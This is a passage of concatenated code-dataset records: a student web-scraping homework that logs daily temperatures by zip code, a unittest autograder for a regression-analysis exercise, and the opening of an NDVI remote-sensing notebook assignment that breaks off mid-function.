that.\n# That's all you need to submit, the working codes and a sample data csv file. \n#  \n# Imagine you can do something similar to track your favorite sport team's statistics, or air ticket price, ...\n# What get you excited?\n# \n# Of course, whenever there is an API available, use that instead of webscraping. It's much more reliable.\n\n#%%\n\nfrom matplotlib.pyplot import axis\nimport numpy as np\nimport requests\nimport datetime\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef getUrl(zipcode):\n  url = 'https://www.wunderground.com/weather/us/'+zipcode # zipcode should be in the format:  stateAbbreviation/five-digit-zipcode like dc/20052\n  return url \n\ndef getSoup(url,parser=''):\n  # ######  QUESTION 1      QUESTION 1      QUESTION 1   ##########\n\n  # write your codes here\n  p = parser if (parser == 'lxml' or parser == 'html.parser') else 'html5lib'\n  r = requests.get(url)\n  s = BeautifulSoup(r.content, p)\n\n  # ######  END of QUESTION 1    ###   END of QUESTION 1   ##########\n  return s  # return some soup\n\ndef getTempHiLo(soup): # get the block of values of hi-lo temperature on this site\n  # ######  QUESTION 2      QUESTION 2      QUESTION 2   ##########\n\n  # write your codes here\n  hi_lo = soup.find(class_='hi-lo').text\n\n  # ######  END of QUESTION 2    ###   END of QUESTION 2   ##########\n  return hi_lo # return the text for the hi-lo temperatures\n\ndef getDailyTemp(filename): \n  # the source file header has the list of zip codes I want to keep track. \n  # I am using this source file to keep track of the list of zipcodes below: \n  zipcodes = ['dc/20052' , 'ny/10001' , 'ca/90210', 'nj/07069', 'va/22207', 'il/60007', 'tx/77001', 'az/85001', 'pa/19019', 'tx/78006']\n  \n  # I will use the date string as the key for my dataframe\n  tday = datetime.datetime.today()\n  tdaystr = tday.strftime('%Y-%m-%d')  # default format is 'yyyy-mm-dd 00:00:00'\n\n  # open file, import df from file, with first row as header, first column as index.\n  df_last = pd.read_csv(filename, header=0, index_col=0, date_parser=lambda x: datetime.datetime.strptime(x, '%Y-%m-%d') )\n\n  df_new = pd.DataFrame(columns=df_last.columns ) # set a new empty dataframe for new day's data\n  df_new.index.name = df_last.index.name # set the index name \n  df_new = df_new.append(pd.Series(name=tdaystr, dtype='object')) # add a blank row with today's date as index\n\n  # ######  QUESTION 3      QUESTION 3      QUESTION 3   ##########\n\n  # write your codes here \n  for i, zipcode in enumerate(df_last.columns): \n      zip_url = getUrl(zipcode)\n      zip_soup = getSoup(zip_url, 'html.parser')\n      zip_temp = getTempHiLo(zip_soup)\n\n      df_new.iloc[0, i] = zip_temp\n  df_last = pd.concat([df_new, df_last])\n  # You can run the current codes to see what is the df_new and df_last look like. \n  # Need to get the new Temperatures for each location/zip, and put them in the new data frame \n  # Then insert that df_new to the top of df_last.\n\n  # ######  END of QUESTION 3    ###   END of QUESTION 3   ##########\n  \n  df_last.index = pd.to_datetime(df_last.index, format='%Y-%m-%d') # row index = 'Date', fixing formatting issue. Without this line, the dates on dataframe will be recorded as 'yyyy-mm-dd 00:00:00' to the datafame\n\n  df_last = df_last.iloc[0:25,:]   # trim number of rows to max 25, before saving to file to prevent file growing too big\n  df_last.to_csv(filename, encoding='utf_8_sig')  # saving/updating csv file    # df_last.to_csv(filename, sep='\\t')\n\n  return None\n\n# make sure the folder is correct\nsource = 'weatherDaily.csv'\n# run one time to test getting weather data for today\ngetDailyTemp(source)\n\n\n#%%\n", "meta": {"hexsha": "460ea083581b40625a6d929df7ca5b060073968f", "size": 5952, "ext": "py", "lang": "Python", "max_stars_repo_path": "HW_WebScraping_Thiersch_Alexander.py", "max_stars_repo_name": "akthiersch-01/My6103Work", "max_stars_repo_head_hexsha": "1ee3053b788baf370de197911fae4e6855b88938", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "HW_WebScraping_Thiersch_Alexander.py", "max_issues_repo_name": "akthiersch-01/My6103Work", "max_issues_repo_head_hexsha": "1ee3053b788baf370de197911fae4e6855b88938", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "HW_WebScraping_Thiersch_Alexander.py", "max_forks_repo_name": "akthiersch-01/My6103Work", "max_forks_repo_head_hexsha": "1ee3053b788baf370de197911fae4e6855b88938", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.0909090909, "max_line_length": 213, "alphanum_fraction": 0.6782594086, "include": true, "reason": "import numpy", "num_tokens": 1775, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4111108836623764, "lm_q2_score": 0.21469141408759984, "lm_q1q2_score": 0.08826197696027833}}
{"text": "#!/usr/bin/env python3\n\nimport os\nimport re\nimport pandas as pd\nimport numpy as np\nimport statsmodels\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nimport unittest\nfrom unittest.mock import patch, MagicMock\n\nfrom tmc import points\nfrom tmc.utils import load, get_out, patch_helper, spy_decorator\n\nmodule_name=\"src.regression\"\nregression = load(module_name, \"regression\")\nmain = load(module_name, \"main\")\nph = patch_helper(module_name)\n\ndef get_exercises(nb):\n    pattern = r\"^#\\s*exercise\\s+(\\d+)\\s*\"\n    result = {}\n    for cell in nb.cells:\n        if cell.cell_type == \"code\" and re.match(pattern, cell.source):\n            m = re.match(pattern, cell.source)\n            n = int(m.group(1))\n            assert n not in result, \"Overlapping exercise number %i\" % n\n            result[n] = cell.source\n    return result\n\ninputnb = \"src/project_notebook_regression_analysis.ipynb\"\nexercises = {}\n# UNCOMMENT THE BELOW THREE LINES\nimport nbformat\nnb = nbformat.read(inputnb, as_version=4)\nexercises = get_exercises(nb)\n\n#print(\"Read %i exercises:\" % len(exercises))\n#print(exercises.keys())\n\n\n\ndef find_interaction(var1, var2, params):\n    interaction1 = var1 + \":\" + var2\n    interaction2 = var2 + \":\" + var1\n    if interaction1 in params:\n        return interaction1\n    elif interaction2 in params:\n        return interaction2\n    else:\n        return None\n\nclass Regression(unittest.TestCase):\n\n\n    def check_explanators(self, explanators, params):\n        for e in explanators:\n            if type(e) == tuple:\n                assert len(e) == 2\n                var1, var2 = e\n                val = find_interaction(var1, var2, params)\n                self.assertNotEqual(val, None,\n                                 msg=\"Model parameters are missing interaction between variable %s and %s!\" % e)\n            else:\n                self.assertTrue(e in params, msg=\"Model parameter %s missing!\" % e)\n\n\n    @points('p08-01.0')\n    def test_00_imports(self):\n        exec(exercises[0])\n        self.assertTrue(\"statsmodels\" in locals(), msg=\"Module statsmodels was not loaded!\")\n        self.assertTrue(\"pd\" in locals(), msg=\"Module pandas was not loaded!\")\n\n    @points('p08-01.1')\n    def test_01_load(self):\n        #exec(exercises[0])\n        describe_method = spy_decorator(pd.core.frame.DataFrame.describe, \"describe\")\n        with patch(\"pandas.read_csv\", wraps=pd.read_csv) as prc,\\\n             patch.object(pd.core.frame.DataFrame, \"describe\", new=describe_method):\n            exec(exercises[1])\n            prc.assert_called()\n            #fram=int()\n            self.assertTrue(\"fram\" in locals(), msg=\"DataFrame 'fram' was not loaded!\")\n            myfram = locals()[\"fram\"]\n            self.assertIsInstance(myfram, pd.core.frame.DataFrame,\n                                  msg=\"'fram' is not a DataFrame object!\")\n            self.assertEqual(myfram.shape, (1394, 14),\n                             msg=\"The read DataFrame had incorrect shape!\")\n            #koe.assert_called()\n            describe_method.mock.assert_called()\n\n    @points('p08-01.2')\n    def test_02_rescale(self):\n        exec(exercises[2])\n        self.assertTrue(\"rescale\" in locals(), msg=\"Could not find function 'rescale'!\")\n        s = pd.Series(np.random.randn(10)*6 + 3)\n        myrescale = locals()[\"rescale\"]\n        s2 = myrescale(s)\n        mean = s2.mean()\n        sigma = s2.std()\n        self.assertAlmostEqual(mean, 0, msg=\"Expected rescale to return series having expectation 0!\")\n        self.assertAlmostEqual(sigma, 0.5,\n                               msg=\"Expected rescale to return series having standard deviation 0.5!\")\n\n\n    @points('p08-01.3')\n    def test_03_rescaled_variables(self):\n        exec(exercises[1])\n        exec(exercises[2])\n        exec(exercises[3])\n        myfram = locals()[\"fram\"]\n        for variable in \"sAGE sFRW sSBP sDBP sCHOL sCIG\".split():\n            self.assertIn(variable, myfram,\n                          msg=\"Expected rescaled variable %s in the DataFrame!\" % variable)\n            mean = myfram[variable].mean()\n            std = myfram[variable].std()\n            self.assertAlmostEqual(mean, 0,\n                                   msg=\"Expected variable %s to have expectation 0!\" % variable)\n            self.assertAlmostEqual(std, 0.5,\n                                   msg=\"Expected variable %s to have standard deviation 0.5!\" % variable)\n    @points('p08-01.4')\n    def test_04_sbp1(self):\n        exec(exercises[0])\n        exec(exercises[1])\n        exec(exercises[2])\n        exec(exercises[3])\n        exec(exercises[4])\n        myfit = locals()[\"fit\"]\n        self.assertAlmostEqual(myfit.params.Intercept, 150.0199, places=2, msg=\"Incorrect intercept!\")\n        self.assertAlmostEqual(myfit.params.sFRW, 17.7205, places=2,\n                               msg=\"Incorrect coefficient for sFRW!\")\n        self.assertAlmostEqual(myfit.params.sCHOL, 4.9169, places=2,\n                               msg=\"Incorrect coefficient for sCHOL!\")\n        self.assertAlmostEqual(myfit.params[\"SEX[T.male]\"], -4.0659, places=2,\n                               msg=\"Incorrect coefficient for gender!\")\n\n    @points('p08-01.5')\n    def test_05_sbp_with_age(self):\n        exec(exercises[0])\n        exec(exercises[1])\n        exec(exercises[2])\n        exec(exercises[3])\n        exec(exercises[5])\n        myfit = locals()[\"fit\"]\n        self.assertAlmostEqual(myfit.params.sAGE, 8.1332, places=2,\n                               msg=\"Incorrect coefficient for sAGE!\")\n        self.assertEqual(len(myfit.params), 5, msg=\"Expected four explanatory variables and an intercept!\")\n\n\n    @points('p08-01.6')\n    def test_06_sbp_with_interactions(self):\n        exec(exercises[0])\n        exec(exercises[1])\n        exec(exercises[2])\n        exec(exercises[3])\n        exec(exercises[6])\n        myfit = locals()[\"fit\"]\n        self.assertIn(\"sAGE\", myfit.params, msg=\"Missing explanatory variable sAGE!\")\n        self.assertAlmostEqual(myfit.params.sAGE, 10.218851215627154, places=2,\n                               msg=\"Incorrect coefficient for sAGE!\")\n        interaction = find_interaction(\"sFRW\", \"sAGE\", myfit.params)\n        found = interaction is not None\n        self.assertAlmostEqual(myfit.params[interaction], -2.0865742749328025, places=2,\n                               msg=\"Incorrect coefficient for sFRW:sAGE!\")\n        self.assertEqual(len(myfit.params), 11, msg=\"Expected ten explanatory variables and an intercept!\")\n\n    @points('p08-01.7')\n    def test_07_sbp_with_interactions_visualization(self):\n        plot_method = spy_decorator(pd.core.frame.DataFrame.plot.scatter, \"scatter\")\n        with patch(\"matplotlib.pyplot.scatter\", wraps=matplotlib.pyplot.scatter) as pltscatter,\\\n             patch.object(pd.core.frame.DataFrame.plot, \"scatter\", new=plot_method),\\\n             patch(\"statsmodels.graphics.regressionplots.abline_plot\",\n                   wraps=statsmodels.graphics.regressionplots.abline_plot) as abplot:\n            exec(exercises[0])\n            exec(exercises[1])\n            exec(exercises[2])\n            exec(exercises[3])\n            exec(exercises[6])\n            exec(exercises[7])\n            myfit = locals()[\"fit\"]\n            #abplot.assert_called()\n            self.assertEqual(abplot.call_count, 3, msg=\"Expected abline_plot to be called three times!\")\n            self.assertTrue(pltscatter.call_count > 0 or plot_method.mock.call_count > 0,\n                            msg=\"Expected call to make a scatter plot!\")\n\n\n    @points('p08-01.8')\n    def test_08_sbp_with_cigarets(self):\n        plot_method = spy_decorator(pd.core.frame.DataFrame.plot.scatter, \"scatter\")\n        with patch(\"matplotlib.pyplot.scatter\", wraps=matplotlib.pyplot.scatter) as pltscatter,\\\n             patch.object(pd.core.frame.DataFrame.plot, \"scatter\", new=plot_method),\\\n             patch(\"statsmodels.graphics.regressionplots.abline_plot\",\n                   wraps=statsmodels.graphics.regressionplots.abline_plot) as abplot:\n            exec(exercises[0])\n            exec(exercises[1])\n            exec(exercises[2])\n            exec(exercises[3])\n            exec(exercises[8])\n            myfit = locals()[\"fit\"]\n            self.assertIn(\"sCIG\", myfit.params, msg=\"Missing explanatory variable sCIG!\")\n            self.assertAlmostEqual(myfit.params.sCIG, 3.7733, places=2,\n                                   msg=\"Incorrect coefficient for sCIG!\")\n            interaction = find_interaction(\"sFRW\", \"sCIG\", myfit.params)\n\n            found = interaction is not None\n            self.assertTrue(found, msg=\"Missing explanatory variable sFRW:sCIG!\")\n            self.assertAlmostEqual(myfit.params[interaction], 3.6765, places=2,\n                                   msg=\"Incorrect coefficient for sFRW:sCIG!\")\n            self.assertEqual(len(myfit.params), 16, msg=\"Expected 15 explanatory variables and an intercept!\")\n            #abplot.assert_called()\n            self.assertEqual(abplot.call_count, 3, msg=\"Expected abline_plot to be called three times!\")\n            self.assertTrue(pltscatter.call_count > 0 or plot_method.mock.call_count > 0,\n                            msg=\"Expected call to make a scatter plot!\")\n\n    @points('p08-01.9')\n    def test_09_high_blood_pressure(self):\n        exec(exercises[0])\n        exec(exercises[1])\n        exec(exercises[2])\n        exec(exercises[3])\n        exec(exercises[9])\n        myfram = locals()[\"fram\"]\n        myfit = locals()[\"fit\"]\n        self.assertIn(\"HIGH_BP\", myfram.columns, msg=\"No variable HIGH_BP in DataFrame 'fram'!\")\n        self.assertEqual(int, myfram[\"HIGH_BP\"].dtype, msg=\"Use type 'int' for variable HIGH_BP!\")\n        self.assertEqual(len(myfit.params), 4, msg=\"Expected 3 explanatory variables and an intercept!\")\n        found = \"error_rate_orig\" in locals()\n        self.assertTrue(found, msg=\"Result variable 'error_rate_orig' missing!\")\n        myerror_rate_orig = locals()[\"error_rate_orig\"]\n        self.assertAlmostEqual(myerror_rate_orig, 0.35581061692969873, places=4, msg=\"Incorrect error rate!\")\n\n    @points('p08-01.10')\n    def test_10_high_blood_pressure2(self):\n        exec(exercises[0])\n        exec(exercises[1])\n        exec(exercises[2])\n        exec(exercises[3])\n        exec(exercises[9])\n        exec(exercises[10])\n        myfram = locals()[\"fram\"]\n        myfit = locals()[\"fit\"]\n        self.assertIn(\"HIGH_BP\", myfram.columns, msg=\"No variable HIGH_BP in DataFrame 'fram'!\")\n        self.assertEqual(int, myfram[\"HIGH_BP\"].dtype, msg=\"Use type 'int' for variable HIGH_BP!\")\n        self.assertEqual(len(myfit.params), 7, msg=\"Expected 6 explanatory variables and an intercept!\")\n        found = \"error_rate\" in locals()\n        self.assertTrue(found, msg=\"Result variable 'error_rate' missing!\")\n        myerror_rate = locals()[\"error_rate\"]\n        self.assertAlmostEqual(myerror_rate, 0.3278335724533716, places=4, msg=\"Incorrect error rate!\")\n\n\n    @points('p08-01.11')\n    def test_11_high_blood_pressure3(self):\n        scatter_method = spy_decorator(matplotlib.axes.Axes.scatter, \"scatter\")\n        plot_method = spy_decorator(matplotlib.axes.Axes.plot, \"plot\")\n#        with patch(\"matplotlib.pyplot.scatter\", wraps=matplotlib.pyplot.scatter) as pltscatter:\n        with patch(\"matplotlib.pyplot.subplots\", wraps=matplotlib.pyplot.subplots) as psubplots,\\\n             patch.object(matplotlib.axes.Axes, \"plot\", new=plot_method),\\\n             patch.object(matplotlib.axes.Axes, \"scatter\", new=scatter_method):\n            exec(exercises[0])\n            exec(exercises[1])\n            exec(exercises[2])\n            exec(exercises[3])\n            exec(exercises[9])\n            exec(exercises[10])\n            exec(exercises[11])\n            myfram = locals()[\"fram\"]\n            psubplots.assert_called()\n            self.assertEqual(scatter_method.mock.call_count, 2,\n                          msg=\"Expected scatter method to be called twice!\")\n            self.assertEqual(plot_method.mock.call_count, 6,\n                             msg=\"Expected plot method to be called six times!\")\n\n            (args1, kwargs1), (args2, kwargs2)  = scatter_method.mock.call_args_list\n            self.assertIn(len(args1[0]), [663, 731], msg=\"Incorrect number of points in subfigure 1!\")\n            self.assertEqual(len(args1[0]), len(args1[1]), msg=\"Incorrect number of points in subfigure 1!\")\n\n            self.assertIn(len(args2[0]), [663, 731], msg=\"Incorrect number of points in subfigure 2!\")\n            self.assertEqual(len(args2[0]), len(args2[1]), msg=\"Incorrect number of points in subfigure 2!\")\n\n\n    @points('p08-01.12')\n    def test_12_train_test_split(self):\n        orig = pd.DataFrame(np.random.randn(10,10))\n        df = orig.copy()\n        exec(exercises[0])\n        exec(exercises[12])\n        self.assertTrue(\"train_test_split\" in locals(),\n                        msg=\"Could not find function 'train_test_split' %s, %s!\" % (locals(), exercises[12]))\n        mytrain_test_split = locals()[\"train_test_split\"]\n        np.random.seed(1)\n        train1, test1 = mytrain_test_split(df, train_fraction=0.8)\n        self.assertTrue(orig.equals(df), msg=\"The train_test_split function should not modify the original DataFrame!\")\n        self.assertEqual(len(train1), 8, msg=\"Expected training set to have size 0.8*originalsize!\")\n        self.assertEqual(len(test1), 2, msg=\"Expected training set to have size 0.2*originalsize!\")\n        np.random.seed(1)\n        train2, test2 = mytrain_test_split(df, train_fraction=0.8)\n        self.assertTrue(train1.equals(train2),\n                        msg=\"If called twice with the same parameters and same seed, the result should be the same!\")\n        self.assertTrue(test1.equals(test2),\n                        msg=\"If called twice with the same parameters and same seed, the result should be the same!\")\n\n    @points('p08-01.13')\n    def test_13_cross_validation(self):\n        exec(exercises[0])\n        exec(exercises[1])\n        exec(exercises[2])\n        exec(exercises[3])\n        exec(exercises[9])\n        exec(exercises[12])\n        #mytrain_test_split = locals()[\"train_test_split\"]\n        #with patch(\"mytrain_test_split\", wraps=mytrain_test_split) as psplit:\n        exec(exercises[13])\n        self.assertIn(\"error_model\", locals(), msg=\"Could not find variable 'error_model'!\")\n        myerror_model = locals()[\"error_model\"]\n        #myerror_null = locals()[\"error_null\"]\n        self.assertAlmostEqual(np.mean(myerror_model), 0.3311827956989248,\n                               places=4, msg=\"Incorrect mean error rate!\")\n        #self.assertAlmostEqual(np.mean(myerror_null), x,\n        #                       places=4, msg=\"Incorrect mean error rate by null model!\")\n\n\n    @points('p08-01.14')\n    def test_14_chd(self):\n        exec(exercises[0])\n        exec(exercises[1])\n        exec(exercises[2])\n        exec(exercises[3])\n        exec(exercises[14])\n        myfram = locals()[\"fram\"]\n        self.assertIn(\"hasCHD\", myfram.columns, msg=\"No variable hasCHD in DataFrame 'fram'!\")\n        self.assertEqual(int, myfram[\"hasCHD\"].dtype, msg=\"Use type 'int' for variable hasCHD!\")\n        self.assertAlmostEqual(myfram.hasCHD.mean(), 0.22022955523672882, places=4, msg=\"Variable hasCHD has incorrect mean!\")\n\n\n    @points('p08-01.15')\n    def test_15_chd2(self):\n        exec(exercises[0])\n        exec(exercises[1])\n        exec(exercises[2])\n        exec(exercises[3])\n        exec(exercises[14])\n        exec(exercises[15])\n        myfram = locals()[\"fram\"]\n        myfit = locals()[\"fit\"]\n        self.assertIn(\"hasCHD\", myfram.columns, msg=\"No variable hasCHD in DataFrame 'fram'!\")\n        self.assertEqual(int, myfram[\"hasCHD\"].dtype, msg=\"Use type 'int' for variable hasCHD!\")\n        self.assertEqual(len(myfit.params), 7, msg=\"Expected 6 explanatory variables and an intercept!\")\n        self.check_explanators(\"sCHOL sCIG sFRW\".split() +\n                               [(\"sCHOL\", \"sCIG\"), (\"sCHOL\", \"sFRW\"), (\"sCIG\", \"sFRW\")], myfit.params)\n        found = \"error_rate\" in locals()\n        self.assertTrue(found, msg=\"Result variable 'error_rate' missing!\")\n        myerror_rate = locals()[\"error_rate\"]\n        self.assertAlmostEqual(myerror_rate, 0.22022955523672882, places=4, msg=\"Incorrect error rate!\")\n\n    @points('p08-01.16')\n    def test_16_chd_visualization(self):\n        with patch(\"matplotlib.pyplot.scatter\", wraps=matplotlib.pyplot.scatter) as pltscatter,\\\n            patch(\"matplotlib.pyplot.plot\", wraps=matplotlib.pyplot.plot) as pltplot:\n            exec(exercises[0])\n            exec(exercises[1])\n            exec(exercises[2])\n            exec(exercises[3])\n            exec(exercises[14])\n            exec(exercises[15])\n            exec(exercises[16])\n            pltscatter.assert_called()\n            pltplot.assert_called()\n\n    @points('p08-01.17')\n    def test_17_chd_prediction(self):\n        exec(exercises[0])\n        exec(exercises[1])\n        exec(exercises[2])\n        exec(exercises[3])\n        exec(exercises[14])\n        exec(exercises[15])\n        exec(exercises[16])\n        exec(exercises[17])\n        self.assertTrue(\"point\" in locals(), msg=\"Could not find variable 'point'!\")\n        mypoint = locals()[\"point\"]\n        self.assertIsInstance(mypoint, dict, msg=\"Expected variable 'point' to be a dictionary!\")\n        for v in \"sCHOL sCIG sFRW\".split():\n            self.assertIn(v, mypoint, msg=\"The point dictionary does not contain value for %s!\" % v)\n        self.assertTrue(\"predicted\" in locals(), msg=\"Could not find variable 'predicted'!\")\n        mypredicted = locals()[\"predicted\"]\n        self.assertIsInstance(mypredicted, float,\n                              msg=\"Expected the variable 'predicted' to have type 'float', got %s!\" % type(mypredicted))\n        self.assertAlmostEqual(mypredicted, 0.2161616602504101, places=4, msg=\"Incorrect predicted probability for the point!\")\n\nif __name__ == '__main__':\n    unittest.main()\n\n\n", "meta": {"hexsha": "7e55f39e74a5cfc0839948b78257c52edea4db30", "size": 17970, "ext": "py", "lang": "Python", "max_stars_repo_path": "hy-data-analysis-with-python-spring-2020/part08-e01_regression/test/test_regression.py", "max_stars_repo_name": "Melimet/DAP2020", "max_stars_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hy-data-analysis-with-python-spring-2020/part08-e01_regression/test/test_regression.py", "max_issues_repo_name": "Melimet/DAP2020", "max_issues_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hy-data-analysis-with-python-spring-2020/part08-e01_regression/test/test_regression.py", "max_forks_repo_name": "Melimet/DAP2020", "max_forks_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.3787878788, "max_line_length": 127, "alphanum_fraction": 0.6170840289, "include": true, "reason": "import numpy,import statsmodels", "num_tokens": 4188, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.1895210959073992, "lm_q1q2_score": 0.08810865529575657}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name:**\n# \n# Jensen Widtfeldt\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# ## Psuedo-workflow! ## \n# \n# 1. Gather and open the data\n# - Download data\n# - List files in download\n# - Sort / filter for right files\n# \n# 2. Calculate the NDVI and stats\n# - Open the raster data and crop bands as needed\n# - Calculate NDVI\n# - Calculate other key metrics if needed\n# - Save into sharable form (CSV)\n# 3. Do for other sites\n# - Use functions and loops for new site\n# - Rinse and repeat! \n# \n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\n\nimport os\nimport re\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nimport geopandas as gpd\nimport rioxarray as rxr\nimport xarray as xr\nfrom rasterio.plot import plotting_extent\nimport earthpy as et\nimport earthpy.mask as em\nimport earthpy.spatial as es\nimport earthpy.plot as ep \n\n# Get the data! \ndata = et.data.get_data('ndvi-automation')\nos.chdir(os.path.join(et.io.HOME, \n                     \"earth-analytics\",\n                     \"data\"))\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[5]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\n\ndef open_clean_bands(band_path, \n                    crop_extent,\n                    valid_range=None):\n    \n    \"\"\"\"Open and mask a landsat band with squeeze.\n\n    Parameters\n    ----------\n    band_path : string\n        Path to the array you use\n    valid_range : tuple\n        